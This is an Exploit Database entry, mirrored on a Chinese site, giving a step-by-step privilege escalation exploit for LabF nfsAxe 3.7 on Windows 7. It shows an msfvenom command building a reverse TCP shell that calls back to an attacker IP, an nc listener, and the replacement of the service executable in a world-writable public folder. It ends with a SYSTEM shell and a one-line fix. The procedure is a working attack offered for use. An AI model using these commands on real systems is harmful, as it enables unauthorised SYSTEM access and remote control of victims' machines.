LabF nfsAxe 3.7 – Privilege Escalation

• Exploit Database
• 21 阅读

• 作者： bzyo
  日期： 2018-03-26
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44342/

• Exploit Author: bzyo
  Twitter: @bzyo_
  Exploit Title: LabF nfsAxe 3.7 - Privilege Escalation
  Date: 03-24-2018
  Vulnerable Software: LabF nfsAxe 3.7
  Vendor Homepage: http://www.labf.com/
  Version: 3.7
  Software Link: http://www.labf.com/download/nfsaxe.exe
  Tested On: Windows 7 x86 and x64 *Requires Windows 7 Public Sharing to be enabled
  
  
  Details:
  By default LabF nfsAxe 3.7 installs to "C:\Users\Public\Program Files\LabF.com\nfsAxe" and installs
  a service called "XwpXSetSrvnfsAxe service". To start this service an executable "xsetsrv.exe" 
  is located in the same directory and also runs under Local System.
  
  By default in Windows with Public Folder sharing enabled, the permissions on any file/folder under "C:\Users\Public\" is Full Control
  for Everyone.This means unprivileged users have the ability to add, delete, or modify any and all 
  files/folders.
  
  
  Exploit:
  1. Generate malicious .exe on attacking machine
  msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.149 LPORT=443 -f exe > /var/www/html/xsetsrv.exe
  
  2. Setup listener and start apache on attacking machine
  nc -nlvvp 443
  service apache2 start
   
  3. Download malicious .exe on victim machine
  Open browser to http://192.168.0.149/xsetsrv.exe and download
  
  4. Rename C:\Users\Public\Program Files\LabF.com\nfsAxe\xsetsrv.exe
   xsetsrv.exe > xsetsrv.bak
   
  5. Copy/Move downloaded xsetsrv.exe file to C:\Users\Public\Program Files\LabF.com\nfsAxe\
  
  6. Restart victim machine and login as unprivileged user 
  
  7. Reverse Shell on attacking machine opens
  	C:\Windows\system32>whoami
  	whoami
  	nt authority\system
  
  Prerequisites:
  To successfully exploit this vulnerability, an attacker must already have access
  to a system running a LabF nfsAxe installed at the default location using a
  low-privileged user account
  
  Risk:
  The vulnerability allows local attackers to escalate privileges and execute
  arbitrary code as Local System aka Game Over.
  
  Fix:
  Don't use default install path